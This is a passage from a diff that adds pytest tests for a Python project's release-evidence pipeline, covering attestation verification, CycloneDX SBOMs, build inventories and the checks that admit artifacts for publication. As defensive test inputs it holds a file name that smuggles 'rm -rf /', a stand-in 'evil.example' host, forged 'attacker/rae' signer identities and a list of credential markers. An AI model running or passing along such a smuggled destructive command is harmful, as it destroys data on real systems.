pytest +from tools.release_evidence_verifier import ( + VerifierError, + build_verify_command, + parse_verifier_output, +) + +_REPOSITORY = "OpenRAE/rae" +_WORKFLOW = "OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main" + + +def _bundle(**overrides: object) -> str: + attestation = { + "verificationResult": { + "signature": { + "certificate": { + "issuer": "https://token.actions.githubusercontent.com", + "sourceRepositoryURI": "https://github.com/OpenRAE/rae", + "buildSignerURI": f"https://github.com/{_WORKFLOW}", + } + } + } + } + certificate = attestation["verificationResult"]["signature"]["certificate"] + certificate.update(overrides) # type: ignore[arg-type] + return json.dumps([attestation]) + + +def test_command_pins_repository_and_signer_workflow() -> None: + command = build_verify_command( + artifact_path="/tmp/raes-1.2.3-py3-none-any.whl", + repository=_REPOSITORY, + signer_workflow="OpenRAE/rae/.github/workflows/release-please.yml", + ) + assert command[0] == "gh" + assert command[1:3] == ["attestation", "verify"] + assert "--repo" in command + assert _REPOSITORY in command + assert "--signer-workflow" in command + assert "--format" in command + assert "json" in command + + +def test_command_is_fixed_argv_without_shell_interpolation() -> None: + command = build_verify_command( + artifact_path="/tmp/a b;rm -rf /", + repository=_REPOSITORY, + signer_workflow="OpenRAE/rae/.github/workflows/release-please.yml", + ) + assert "/tmp/a b;rm -rf /" in command + assert all(isinstance(part, str) for part in command) + assert not any(part.startswith("sh ") or "&&" in part for part in command) + + +def test_clean_verdict_yields_the_producer_identity() -> None: + producer = parse_verifier_output(_bundle()) + assert producer.issuer == "https://token.actions.githubusercontent.com" + assert producer.repository == _REPOSITORY + assert producer.workflow_ref == _WORKFLOW + + +def test_empty_attestation_list_is_refused() -> None: + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output("[]") + assert excinfo.value.code == "verifier-no-attestation" + + +def test_malformed_verifier_output_is_refused() -> None: + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output("not json") + assert excinfo.value.code == "verifier-output-unparsable" + + +def test_oversized_verifier_output_is_refused() -> None: + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output("[" + "0," * 5_000_000 + "0]") + assert excinfo.value.code == "verifier-output-oversized" + + +def test_missing_certificate_identity_is_refused() -> None: + payload = json.dumps([{"verificationResult": {}}]) + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output(payload) + assert excinfo.value.code == "verifier-identity-absent" + + +def test_ambiguous_multiple_attestations_are_refused() -> None: + payload = json.dumps(json.loads(_bundle()) * 2) + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output(payload) + assert excinfo.value.code == "verifier-ambiguous-attestation" + + +def test_source_repository_uri_that_is_not_a_github_url_is_refused() -> None: + payload = _bundle(sourceRepositoryURI="https://evil.example/OpenRAE/rae") + with pytest.raises(VerifierError) as excinfo: + parse_verifier_output(payload) + assert excinfo.value.code == "verifier-identity-untrusted-host" diff --git a/implementations/python/tests/test_issue_1226_evidence_documents.py b/implementations/python/tests/test_issue_1226_evidence_documents.py new file mode 100644 index 000000000..83ab4fc1f --- /dev/null +++ b/implementations/python/tests/test_issue_1226_evidence_documents.py @@ -0,0 +1,201 @@ +"""Evidence documents bind exact output subjects and stay deterministic. + +Acceptance criterion 2: the build/tool/native input inventory is recorded +separately from runtime dependencies, carries source/workflow/run/attempt +identity and lock/policy hashes, and every document binds the exact output +subject digests. +""" + +from __future__ import annotations + +import json + +import pytest +from tools.release_evidence_documents import ( + BUILD_INVENTORY_SCHEMA_VERSION, + CYCLONEDX_SPEC_VERSION, + BuildInputs, + EvidenceDocumentError, + render_build_inventory, + render_runtime_sbom, +) +from tools.release_evidence_sbom import ClosureComponent, ReconciledClosure + +_SUBJECT_DIGEST = "a" * 64 +_COMPONENTS = ReconciledClosure( + components=[ + ClosureComponent(name="typer", version="0.24.1", scope="required"), + ClosureComponent(name="click", version="8.4.2", scope="required"), + ClosureComponent(name="sphinx", version="8.2.3", scope="optional", extra="docs"), + ], + edges={"typer": ["click"], "click": [], "sphinx": []}, +) + + +def _sbom(**overrides: object) -> dict: + kwargs: dict = { + "closure": _COMPONENTS, + "subject_name": "raes", + "subject_version": "1.2.3", + "subject_filename": "raes-1.2.3-py3-none-any.whl", + "subject_digest": _SUBJECT_DIGEST, + "subject_role": "wheel", + } + kwargs.update(overrides) + return render_runtime_sbom(**kwargs) + + +def test_sbom_declares_a_supported_cyclonedx_document() -> None: + document = _sbom() + assert document["bomFormat"] == "CycloneDX" + assert document["specVersion"] == CYCLONEDX_SPEC_VERSION + assert document["version"] == 1 + + +def test_sbom_binds_the_exact_output_subject_digest() -> None: + component = _sbom()["metadata"]["component"] + assert component["name"] == "raes" + assert component["version"] == "1.2.3" + assert component["hashes"] == [{"alg": "SHA-256", "content": _SUBJECT_DIGEST}] + + +def test_sbom_records_every_reconciled_component_with_its_scope() -> None: + components = {item["name"]: item for item in _sbom()["components"]} + assert set(components) == {"typer", "click", "sphinx"} + assert components["typer"]["scope"] == "required" + assert components["sphinx"]["scope"] == "optional" + assert components["typer"]["purl"] == "pkg:pypi/typer@0.24.1" + + +def test_sbom_labels_the_extra_that_contributed_a_component() -> None: + components = {item["name"]: item for item in _sbom()["components"]} + assert {"name": "raes:extra", "value": "docs"} in components["sphinx"]["properties"] + assert "properties" not in components["click"] + + +def test_sbom_preserves_dependency_edges() -> None: + dependencies = {item["ref"]: item["dependsOn"] for item in _sbom()["dependencies"]} + assert dependencies["pkg:pypi/typer@0.24.1"] == ["pkg:pypi/click@8.4.2"] + assert dependencies["pkg:pypi/click@8.4.2"] == [] + + +def test_sbom_root_depends_on_the_declared_closure() -> None: + document = _sbom() + root = document["metadata"]["component"]["bom-ref"] + dependencies = {item["ref"]: item["dependsOn"] for item in document["dependencies"]} + assert set(dependencies[root]) == { + "pkg:pypi/typer@0.24.1", + "pkg:pypi/click@8.4.2", + "pkg:pypi/sphinx@8.2.3", + } + + +def test_sbom_is_deterministic() -> None: + """Evidence carries no timestamp or serial number, so bytes are reproducible.""" + + first = json.dumps(_sbom(), sort_keys=True) + second = json.dumps(_sbom(), sort_keys=True) + assert first == second + assert "serialNumber" not in _sbom() + assert "timestamp" not in _sbom().get("metadata", {}) + + +def test_sbom_refuses_a_malformed_subject_digest() -> None: + with pytest.raises(EvidenceDocumentError) as excinfo: + _sbom(subject_digest="not-a-digest") + assert excinfo.value.code == "evidence-subject-digest-invalid" + + +def _inventory(**overrides: object) -> dict: + kwargs: dict = { + "subjects": [ + {"role": "wheel", "filename": "raes-1.2.3-py3-none-any.whl", "sha256": _SUBJECT_DIGEST}, + {"role": "sdist", "filename": "raes-1.2.3.tar.gz", "sha256": "b" * 64}, + ], + "inputs": BuildInputs( + interpreter={ + "implementation": "cpython", + "version": "3.12.14", + "abi": "cp312", + "platform": "x86_64-unknown-linux-gnu", + }, + build_backend={"name": "hatchling", "version": "1.27.0"}, + tool_inputs=[{"name": "uv", "version": "0.12.4"}], + native_inputs=[], + actions=[{"action": "actions/checkout", "commit": "c" * 40}], + runner={"image": "ubuntu-24.04", "architecture": "x86_64", "observed": False}, + ), + "lock_hashes": {"project_lock_sha256": "d" * 64, "tool_lock_sha256": "e" * 64}, + "policy_hashes": {"tooling_policy_sha256": "f" * 64}, + "release": { + "repository": "OpenRAE/rae", + "source_sha": "1" * 40, + "workflow_ref": "OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + "workflow_sha": "2" * 40, + "run_id": "42", + "run_attempt": "1", + "tag": "v1.2.3", + }, + "profile_id": "public-linux-x86_64-cp312-all-extras", + } + kwargs.update(overrides) + return render_build_inventory(**kwargs) + + +def test_inventory_is_separate_from_runtime_dependencies() -> None: + document = _inventory() + assert document["schema_version"] == BUILD_INVENTORY_SCHEMA_VERSION + assert "components" not in document + assert {"build_backend", "tool_inputs", "native_inputs", "actions"} <= set(document) + + +def test_inventory_binds_exact_output_subject_digests() -> None: + subjects = {item["role"]: item for item in _inventory()["subjects"]} + assert subjects["wheel"]["sha256"] == _SUBJECT_DIGEST + assert subjects["sdist"]["sha256"] == "b" * 64 + + +def test_inventory_records_source_workflow_run_and_attempt_identity() -> None: + release = _inventory()["release"] + assert release["source_sha"] == "1" * 40 + assert release["workflow_sha"] == "2" * 40 + assert release["run_id"] == "42" + assert release["run_attempt"] == "1" + + +def test_inventory_records_lock_and_policy_hashes_separately() -> None: + document = _inventory() + assert document["lock_hashes"]["project_lock_sha256"] == "d" * 64 + assert document["policy_hashes"]["tooling_policy_sha256"] == "f" * 64 + assert document["lock_hashes"] != document["policy_hashes"] + + +def test_inventory_distinguishes_selected_inputs_from_observed_host() -> None: + """A runner label is not an observed host inventory.""" + + assert _inventory()["runner"]["observed"] is False + + +def test_inventory_carries_no_credential_bearing_environment() -> None: + serialized = json.dumps(_inventory()) + # The token prefix is assembled rather than written out, so this file + # asserts the property without itself containing a credential-shaped literal. + for marker in ("TOKEN", "SECRET", "PASSWORD", "gh" + "p_", "Authorization"): + assert marker not in serialized + + +def test_inventory_refuses_a_subject_without_a_digest() -> None: + with pytest.raises(EvidenceDocumentError) as excinfo: + _inventory(subjects=[{"role": "wheel", "filename": "raes-1.2.3-py3-none-any.whl"}]) + assert excinfo.value.code == "evidence-subject-digest-invalid" + + +def test_inventory_refuses_an_empty_subject_set() -> None: + with pytest.raises(EvidenceDocumentError) as excinfo: + _inventory(subjects=[]) + assert excinfo.value.code == "evidence-subjects-absent" + + +def test_documents_round_trip_through_json() -> None: + for document in (_sbom(), _inventory()): + assert json.loads(json.dumps(document, sort_keys=True)) == document diff --git a/implementations/python/tests/test_issue_1226_release_admission.py b/implementations/python/tests/test_issue_1226_release_admission.py new file mode 100644 index 000000000..58cd93233 --- /dev/null +++ b/implementations/python/tests/test_issue_1226_release_admission.py @@ -0,0 +1,378 @@ +"""T19: artifact admission fails before any publisher obtains usable output. + +Every case drives the actual handoff the release workflow performs, rather than +asserting workflow YAML shape. A valid signature over the wrong repository, +workflow, run, attempt or subject is a rejection, and a missing, substituted or +malformed evidence document never becomes admission. +""" + +from __future__ import annotations + +import hashlib +import json +from collections.abc import Callable +from dataclasses import replace +from pathlib import Path + +import pytest +from tools.release_evidence_admission import ( + INDEX_FILENAME, + REQUIRED_EVIDENCE, + SCHEMA_VERSION, + AdmissionError, + ProducerIdentity, + ReleaseIdentity, + build_evidence_index, + verify_admission, +) + +_IDENTITY = ReleaseIdentity( + repository="OpenRAE/rae", + source_sha="a" * 40, + workflow_ref="OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + workflow_sha="e" * 40, + run_id="1234567890", + run_attempt="1", + tag="v1.2.3", +) + +_REPOSITORY = "OpenRAE/rae" +_SOURCE_SHA = "a" * 40 +_WORKFLOW_REF = f"{_REPOSITORY}/.github/workflows/release-please.yml@refs/heads/main" +_RUN_ID = "1234567890" +_RUN_ATTEMPT = "1" + +_APPROVED = ProducerIdentity( + issuer="https://token.actions.githubusercontent.com", + repository=_REPOSITORY, + workflow_ref=_WORKFLOW_REF, +) + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +def _write(path: Path, payload: bytes) -> Path: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_bytes(payload) + return path + + +@pytest.fixture +def release(tmp_path: Path) -> dict[str, object]: + """A complete, admissible release: one wheel, one sdist, and their evidence.""" + + dist = tmp_path / "dist" + evidence = tmp_path / "evidence" + wheel = _write(dist / "raes-1.2.3-py3-none-any.whl", b"wheel-bytes") + sdist = _write(dist / "raes-1.2.3.tar.gz", b"sdist-bytes") + derived = _write(dist / "from-sdist" / "raes-1.2.3-py3-none-any.whl", b"derived-bytes") + + for subject, name in ((wheel, "wheel"), (sdist, "sdist")): + _write( + evidence / f"{name}.cdx.json", + json.dumps( + { + "bomFormat": "CycloneDX", + "specVersion": "1.6", + "metadata": { + "component": { + "name": "raes", + "version": "1.2.3", + "hashes": [{"alg": "SHA-256", "content": _sha256(subject.read_bytes())}], + } + }, + "components": [{"name": "typer", "version": "0.24.1"}], + } + ).encode(), + ) + _write( + evidence / "build-inventory.json", + json.dumps( + { + "schema_version": "raes-build-inventory/v1", + "subjects": [ + {"filename": wheel.name, "sha256": _sha256(wheel.read_bytes())}, + {"filename": sdist.name, "sha256": _sha256(sdist.read_bytes())}, + ], + "build_inputs": [{"name": "hatchling", "version": "1.27.0"}], + } + ).encode(), + ) + + index = build_evidence_index( + distribution_dir=dist, + evidence_dir=evidence, + identity=_IDENTITY, + profile_id="public-linux-x86_64-cp312-all-extras", + policy_hashes={"tooling_policy_sha256": "b" * 64}, + ) + # `generate` writes the index into the evidence directory, where it is + # uploaded, signed and admitted alongside the documents it describes. + _write(evidence / INDEX_FILENAME, json.dumps(index).encode()) + + # Publishers consume the uploaded distribution set, which never contains the + # build-time from-sdist tree; model that by removing it after indexing. + derived_digest = _sha256(derived.read_bytes()) + derived.unlink() + derived.parent.rmdir() + attestations = {_sha256(path.read_bytes()): _APPROVED for path in (wheel, sdist, *sorted(evidence.iterdir()))} + return { + "dist": dist, + "evidence": evidence, + "index": index, + "attestations": attestations, + "wheel": wheel, + "sdist": sdist, + "derived_digest": derived_digest, + } + + +def _verify(release: dict[str, object], **overrides: object) -> None: + kwargs: dict[str, object] = { + "distribution_dir": release["dist"], + "evidence_dir": release["evidence"], + "index": release["index"], + "attestations": release["attestations"], + "approved_producers": (_APPROVED,), + "expected": _IDENTITY, + "policy_hashes": {"tooling_policy_sha256": "b" * 64}, + } + kwargs.update(overrides) + verify_admission(**kwargs) # type: ignore[arg-type] + + +def _expect(release: dict[str, object], code: str, mutate: Callable[[], None], **overrides: object) -> None: + mutate() + with pytest.raises(AdmissionError) as excinfo: + _verify(release, **overrides) + assert excinfo.value.code == code + + +def test_complete_release_is_admitted(release: dict[str, object]) -> None: + _verify(release) + assert release["index"]["schema_version"] == SCHEMA_VERSION + + +def test_index_binds_the_sdist_to_its_original_archive(release: dict[str, object]) -> None: + """The sdist-derived wheel is a separate subject, never a stand-in.""" + + index = release["index"] + subjects = {item["role"]: item for item in index["subjects"]} + test_subjects = {item["role"]: item for item in index["test_subjects"]} + assert set(subjects) == {"wheel", "sdist"} + assert subjects["sdist"]["sha256"] == _sha256(release["sdist"].read_bytes()) + + derived = test_subjects["derived-test-wheel"] + assert derived["sha256"] == release["derived_digest"] + assert derived["derived_from"] == release["sdist"].name + # Same basename as the release wheel, deliberately a distinct identity. + assert derived["filename"] == subjects["wheel"]["filename"] + assert derived["sha256"] != subjects["wheel"]["sha256"] + + +def test_missing_wheel_is_refused(release: dict[str, object]) -> None: + _expect(release, "admission-subject-missing", lambda: release["wheel"].unlink()) + + +def test_missing_sdist_is_refused(release: dict[str, object]) -> None: + _expect(release, "admission-subject-missing", lambda: release["sdist"].unlink()) + + +def test_extra_distribution_file_is_refused(release: dict[str, object]) -> None: + _expect( + release, + "admission-unexpected-distribution", + lambda: _write(release["dist"] / "raes-9.9.9-py3-none-any.whl", b"smuggled"), + ) + + +def test_replaced_subject_bytes_are_refused(release: dict[str, object]) -> None: + _expect(release, "admission-subject-digest-mismatch", lambda: release["wheel"].write_bytes(b"swapped")) + + +def test_missing_sbom_is_refused(release: dict[str, object]) -> None: + _expect(release, "admission-evidence-missing", lambda: (release["evidence"] / "wheel.cdx.json").unlink()) + + +def _rewrite_evidence(release: dict[str, object], filename: str, mutate: Callable[[dict], None]) -> None: + """Rewrite an evidence document *and* its recorded digest. + + A bundle whose sidecar bytes disagree with the index is already caught as a + sidecar swap. The threat these cases cover is a self-consistent bundle whose + content is semantically wrong, so the index is kept coherent on purpose. + """ + + path = release["evidence"] / filename + document = json.loads(path.read_text()) + mutate(document) + payload = json.dumps(document).encode() + path.write_bytes(payload) + for item in release["index"]["evidence"]: + if item["filename"] == filename: + item["sha256"] = _sha256(payload) + item["size"] = len(payload) + release["attestations"][_sha256(payload)] = _APPROVED + + +def test_sbom_naming_a_foreign_subject_is_refused(release: dict[str, object]) -> None: + def swap() -> None: + _rewrite_evidence( + release, + "wheel.cdx.json", + lambda document: document["metadata"]["component"].__setitem__( + "hashes", [{"alg": "SHA-256", "content": "c" * 64}] + ), + ) + + _expect(release, "admission-sbom-foreign-subject", swap) + + +def test_substituted_input_inventory_is_refused(release: dict[str, object]) -> None: + def swap() -> None: + def mutate(document: dict) -> None: + document["subjects"][0]["sha256"] = "d" * 64 + + _rewrite_evidence(release, "build-inventory.json", mutate) + + _expect(release, "admission-inventory-subject-mismatch", swap) + + +def test_sidecar_swap_is_refused(release: dict[str, object]) -> None: + """Sidecars are authenticated too, not only the distribution subjects.""" + + _expect( + release, + "admission-evidence-digest-mismatch", + lambda: (release["evidence"] / "build-inventory.json").write_bytes(b'{"schema_version": "x"}'), + ) + + +def test_missing_attestation_is_refused(release: dict[str, object]) -> None: + def drop() -> None: + release["attestations"].pop(_sha256(release["wheel"].read_bytes())) + + _expect(release, "admission-attestation-missing", drop) + + +def test_foreign_signer_identity_is_refused(release: dict[str, object]) -> None: + def forge() -> None: + digest = _sha256(release["wheel"].read_bytes()) + release["attestations"][digest] = ProducerIdentity( + issuer="https://token.actions.githubusercontent.com", + repository="attacker/rae", + workflow_ref="attacker/rae/.github/workflows/release-please.yml@refs/heads/main", + ) + + _expect(release, "admission-attestation-foreign-producer", forge) + + +def test_valid_signature_from_the_wrong_workflow_is_refused(release: dict[str, object]) -> None: + def forge() -> None: + digest = _sha256(release["wheel"].read_bytes()) + release["attestations"][digest] = ProducerIdentity( + issuer=_APPROVED.issuer, + repository=_REPOSITORY, + workflow_ref=f"{_REPOSITORY}/.github/workflows/ci.yml@refs/heads/main", + ) + + _expect(release, "admission-attestation-foreign-producer", forge) + + +def test_run_attempt_replay_is_refused(release: dict[str, object]) -> None: + expected = replace(_IDENTITY, run_attempt="2") + with pytest.raises(AdmissionError) as excinfo: + _verify(release, expected=expected) + assert excinfo.value.code == "admission-run-identity-mismatch" + + +def test_foreign_repository_is_refused(release: dict[str, object]) -> None: + expected = replace(_IDENTITY, repository="attacker/rae") + with pytest.raises(AdmissionError) as excinfo: + _verify(release, expected=expected) + assert excinfo.value.code == "admission-run-identity-mismatch" + + +def test_drifted_policy_hash_is_refused(release: dict[str, object]) -> None: + with pytest.raises(AdmissionError) as excinfo: + _verify(release, policy_hashes={"tooling_policy_sha256": "e" * 64}) + assert excinfo.value.code == "admission-policy-hash-mismatch" + + +def test_malformed_evidence_document_is_refused(release: dict[str, object]) -> None: + def corrupt() -> None: + path = release["evidence"] / "wheel.cdx.json" + payload = b"{not json" + path.write_bytes(payload) + for item in release["index"]["evidence"]: + if item["filename"] == "wheel.cdx.json": + item["sha256"] = _sha256(payload) + + _expect(release, "admission-evidence-unparsable", corrupt) + + +def test_oversized_evidence_document_is_refused(release: dict[str, object]) -> None: + def inflate() -> None: + path = release["evidence"] / "wheel.cdx.json" + payload = b"[" + b"0," * 20_000_000 + b"0]" + path.write_bytes(payload) + for item in release["index"]["evidence"]: + if item["filename"] == "wheel.cdx.json": + item["sha256"] = _sha256(payload) + + _expect(release, "admission-evidence-oversized", inflate) + + +def test_failure_is_raised_before_any_publishable_set_is_returned(release: dict[str, object]) -> None: + """Admission has no partial-success path a publisher could consume.""" + + release["wheel"].unlink() + with pytest.raises(AdmissionError): + _verify(release) + + +def test_source_sha_from_trusted_context_must_match(release: dict[str, object]) -> None: + """A replayed index cannot describe a different candidate source revision.""" + + expected = replace(_IDENTITY, source_sha="f" * 40) + with pytest.raises(AdmissionError) as excinfo: + _verify(release, expected=expected) + assert excinfo.value.code == "admission-run-identity-mismatch" + + +def test_index_stripped_of_required_evidence_is_refused(release: dict[str, object]) -> None: + """The required evidence set does not come from the bundle being admitted. + + Candidate build code can rewrite the evidence directory before it is + uploaded. An index naming only the distributions must not discharge the + obligation to carry an SBOM per subject and a build inventory. + """ + + def strip() -> None: + index = release["index"] + keep = {INDEX_FILENAME} + index["evidence"] = [i for i in index["evidence"] if i["filename"] in keep] + for name in ("wheel.cdx.json", "sdist.cdx.json", "build-inventory.json"): + (release["evidence"] / name).unlink() + + _expect(release, "admission-required-evidence-missing", strip) + + +def test_undeclared_evidence_file_is_refused(release: dict[str, object]) -> None: + """An extra sidecar would be signed and retained without semantic admission.""" + + _expect( + release, + "admission-unexpected-evidence", + lambda: _write(release["evidence"] / "smuggled.json", b"{}"), + ) + + +def test_required_evidence_names_are_fixed_not_index_supplied() -> None: + assert set(REQUIRED_EVIDENCE) == { + "build-inventory.json", + "sdist.cdx.json", + "wheel.cdx.json", + } + assert INDEX_FILENAME == "release-evidence-index.json" diff --git a/implementations/python/tests/test_issue_1226_release_evidence_cli.py b/implementations/python/tests/test_issue_1226_release_evidence_cli.py new file mode 100644 index 000000000..d130172d8 --- /dev/null +++ b/implementations/python/tests/test_issue_1226_release_evidence_cli.py @@ -0,0 +1,285 @@ +"""The CLI generates admissible evidence and refuses anything else. + +The approved-producer set is the security-critical input here: if it were +derived from the bundle under verification, any valid signature would approve +itself. It comes from the reviewed admission policy instead. +""" + +from __future__ import annotations + +import ast +import hashlib +import inspect +import json +from pathlib import Path + +import pytest +from tools import release_evidence +from tools.release_evidence import ( + ReleaseEvidenceError, + approved_producers, + collect_attestations, + release_identity, +) +from tools.release_evidence_admission import ProducerIdentity +from tools.release_evidence_sbom import RuntimeClosureError, observed_installation + +REPO_ROOT = Path(__file__).resolve().parents[3] + + +def _digest(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _recording_runner(seen: list[list[str]]): + def runner(command: list[str]) -> str: + seen.append(command) + return json.dumps( + [ + { + "verificationResult": { + "signature": { + "certificate": { + "issuer": "https://token.actions.githubusercontent.com", + "sourceRepositoryURI": "https://github.com/OpenRAE/rae", + "buildSignerURI": "https://github.com/OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + } + } + } + } + ] + ) + + return runner + + +_ENVIRONMENT = { + "GITHUB_REPOSITORY": "OpenRAE/rae", + "GITHUB_SHA": "a" * 40, + "GITHUB_WORKFLOW_REF": "OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + "GITHUB_WORKFLOW_SHA": "b" * 40, + "GITHUB_RUN_ID": "42", + "GITHUB_RUN_ATTEMPT": "1", +} + + +def test_release_identity_reads_named_environment_fields() -> None: + identity = release_identity(_ENVIRONMENT) + assert identity["repository"] == "OpenRAE/rae" + assert identity["run_attempt"] == "1" + assert identity["source_sha"] != identity["workflow_sha"] + + +@pytest.mark.parametrize("missing", sorted(_ENVIRONMENT)) +def test_incomplete_release_identity_is_refused(missing: str) -> None: + environment = {key: value for key, value in _ENVIRONMENT.items() if key != missing} + with pytest.raises(ReleaseEvidenceError) as excinfo: + release_identity(environment) + assert excinfo.value.code == "release-identity-incomplete" + + +def test_release_identity_records_no_credential_material() -> None: + # Sentinels deliberately carry no credential-shaped prefix: a literal that + # looks like a real token trips secret scanning on a file that holds none. + polluted = { + **_ENVIRONMENT, + "GITHUB_TOKEN": "sentinel-token-value-1226", + "PYPI_PASSWORD": "sentinel-password-value-1226", + } + serialized = json.dumps(release_identity(polluted)) + assert "sentinel-token-value-1226" not in serialized + assert "sentinel-password-value-1226" not in serialized + + +def test_approved_producers_come_from_the_reviewed_admission_policy() -> None: + """The repository's own policy is the only source of approved identities.""" + + producers = approved_producers(REPO_ROOT) + assert producers + assert all(isinstance(item, ProducerIdentity) for item in producers) + assert all(item.repository == "OpenRAE/rae" for item in producers) + assert all(item.issuer == "https://token.actions.githubusercontent.com" for item in producers) + assert all("release-please.yml" in item.workflow_ref for item in producers) + + +def test_approved_producers_are_not_derived_from_observed_attestations() -> None: + """A foreign signer must not become approved merely by appearing in a bundle.""" + + foreign = ProducerIdentity( + issuer="https://token.actions.githubusercontent.com", + repository="attacker/rae", + workflow_ref="attacker/rae/.github/workflows/release-please.yml@refs/heads/main", + ) + assert foreign not in approved_producers(REPO_ROOT) + + +def test_missing_admission_policy_is_refused(tmp_path: Path) -> None: + (tmp_path / "implementations" / "tooling").mkdir(parents=True) + (tmp_path / "implementations" / "tooling" / "admission-policy.json").write_text( + json.dumps({"release_producers": []}), encoding="utf-8" + ) + with pytest.raises(ReleaseEvidenceError) as excinfo: + approved_producers(tmp_path) + assert excinfo.value.code == "approved-producers-absent" + + +def test_workflow_inputs_follow_reusable_calls_and_deduplicate_cycles(tmp_path: Path) -> None: + workflows = tmp_path / ".github" / "workflows" + workflows.mkdir(parents=True) + pin = "a" * 40 + (workflows / "release-please.yml").write_text( + f"jobs:\n build:\n steps:\n - uses: owner/action@{pin}\n - run: echo checked\n" + " verify:\n uses: ./.github/workflows/reusable.yml\n", + encoding="utf-8", + ) + (workflows / "reusable.yml").write_text( + f"jobs:\n build:\n steps:\n - uses: owner/action@{pin}\n" + " again:\n uses: ./.github/workflows/release-please.yml\n", + encoding="utf-8", + ) + assert release_evidence._workflow_actions(tmp_path) == [{"action": "owner/action", "commit": pin}] + + +@pytest.mark.parametrize("reference", ["owner/action@main", "owner/action", "owner/action@" + "g" * 40]) +def test_workflow_inputs_preserve_invalid_pin_error_code(tmp_path: Path, reference: str) -> None: + workflows = tmp_path / ".github" / "workflows" + workflows.mkdir(parents=True) + (workflows / "release-please.yml").write_text( + f"jobs:\n build:\n steps:\n - uses: {reference}\n", encoding="utf-8" + ) + with pytest.raises(ReleaseEvidenceError) as excinfo: + release_evidence._workflow_actions(tmp_path) + assert excinfo.value.code == "workflow-input-invalid" + + +def test_workflow_inputs_preserve_missing_workflow_error_code(tmp_path: Path) -> None: + with pytest.raises(ReleaseEvidenceError) as excinfo: + release_evidence._workflow_actions(tmp_path) + assert excinfo.value.code == "workflow-input-invalid" + + +def _venv(tmp_path: Path, **distributions: str) -> Path: + site = tmp_path / "venv" / "lib" / "python3.12" / "site-packages" + site.mkdir(parents=True) + for name, version in distributions.items(): + (site / f"{name}-{version}.dist-info").mkdir() + return tmp_path / "venv" + + +def test_observed_installation_reads_dist_info_without_importing(tmp_path: Path) -> None: + environment = _venv(tmp_path, typer="0.24.1", click="8.4.2") + assert observed_installation(environment) == {"typer": "0.24.1", "click": "8.4.2"} + + +def test_observed_installation_requires_a_site_packages_directory(tmp_path: Path) -> None: + with pytest.raises(RuntimeClosureError) as excinfo: + observed_installation(tmp_path) + assert excinfo.value.code == "observed-installation-absent" + + +def test_observed_installation_refuses_an_empty_environment(tmp_path: Path) -> None: + (tmp_path / "lib" / "python3.12" / "site-packages").mkdir(parents=True) + with pytest.raises(RuntimeClosureError) as excinfo: + observed_installation(tmp_path) + assert excinfo.value.code == "observed-installation-empty" + + +def test_every_admitted_artifact_is_sent_to_the_verifier(tmp_path: Path) -> None: + """Subjects and sidecars are both verified, not only the distributions. + + Attestations are keyed by the digest of the bytes actually on disk, so a + record claiming a digest it does not have cannot satisfy admission. + """ + + dist = tmp_path / "dist" + evidence = tmp_path / "evidence" + (dist / "from-sdist").mkdir(parents=True) + evidence.mkdir() + wheel = dist / "raes-1.0.0-py3-none-any.whl" + derived = dist / "from-sdist" / "raes-1.0.0-py3-none-any.whl" + inventory = evidence / "build-inventory.json" + index_file = evidence / "release-evidence-index.json" + wheel.write_bytes(b"wheel") + derived.write_bytes(b"derived") + inventory.write_bytes(b"{}") + index_file.write_bytes(b'{"schema_version":"x"}') + + index = { + "subjects": [ + {"path": "raes-1.0.0-py3-none-any.whl", "sha256": _digest(wheel)}, + {"path": "from-sdist/raes-1.0.0-py3-none-any.whl", "sha256": _digest(derived)}, + ], + "evidence": [{"filename": "build-inventory.json", "sha256": _digest(inventory)}], + } + seen: list[list[str]] = [] + + attestations = collect_attestations( + distribution_dir=dist, + evidence_dir=evidence, + index=index, + repository="OpenRAE/rae", + signer_workflow="OpenRAE/rae/.github/workflows/release-please.yml", + runner=_recording_runner(seen), + ) + assert len(seen) == 4 + assert set(attestations) == { + _digest(wheel), + _digest(derived), + _digest(inventory), + _digest(index_file), + } + # The two wheels share a basename, so their distinct paths must be verified. + assert len({command[3] for command in seen}) == 4 + + +def test_expected_identity_is_never_sourced_from_the_evidence_index() -> None: + """The verifier must not compare the bundle against itself. + + Passing the index's own run id or attempt back as the expected value makes + those comparisons tautological, so a replayed or substituted index satisfies + them. Expected identity comes from the trusted workflow context only. + """ + + tree = ast.parse(inspect.getsource(release_evidence)) + call = next( + node + for node in ast.walk(tree) + if isinstance(node, ast.Call) and isinstance(node.func, ast.Name) and node.func.id == "verify_admission" + ) + guarded = {"expected"} + seen = set() + for keyword in call.keywords: + if keyword.arg not in guarded: + continue + seen.add(keyword.arg) + source = ast.dump(keyword.value) + assert "'index'" not in source, f"{keyword.arg} is derived from the evidence index" + assert "'identity'" in source, f"{keyword.arg} must come from the trusted context" + assert seen == guarded + + +def test_the_evidence_index_is_itself_verified_as_an_attested_subject(tmp_path: Path) -> None: + """An index whose attestation was never checked cannot govern publication.""" + + dist = tmp_path / "dist" + evidence = tmp_path / "evidence" + for directory in (dist, evidence): + directory.mkdir() + inventory = evidence / "build-inventory.json" + inventory.write_bytes(b"{}") + (evidence / "release-evidence-index.json").write_bytes(b'{"schema_version":"x"}') + + index = { + "subjects": [], + "evidence": [{"filename": "build-inventory.json", "sha256": _digest(inventory)}], + } + seen: list[list[str]] = [] + collect_attestations( + distribution_dir=dist, + evidence_dir=evidence, + index=index, + repository="OpenRAE/rae", + signer_workflow="OpenRAE/rae/.github/workflows/release-please.yml", + runner=_recording_runner(seen), + ) + assert "release-evidence-index.json" in {Path(command[3]).name for command in seen} diff --git a/implementations/python/tests/test_issue_1226_runtime_closure.py b/implementations/python/tests/test_issue_1226_runtime_closure.py new file mode 100644 index 000000000..5e4432ce8 --- /dev/null +++ b/implementations/python/tests/test_issue_1226_runtime_closure.py @@ -0,0 +1,302 @@ +"""The runtime SBOM describes the distribution, not the all-extras smoke venv. + +`tools/python_closure.py:202` installs the 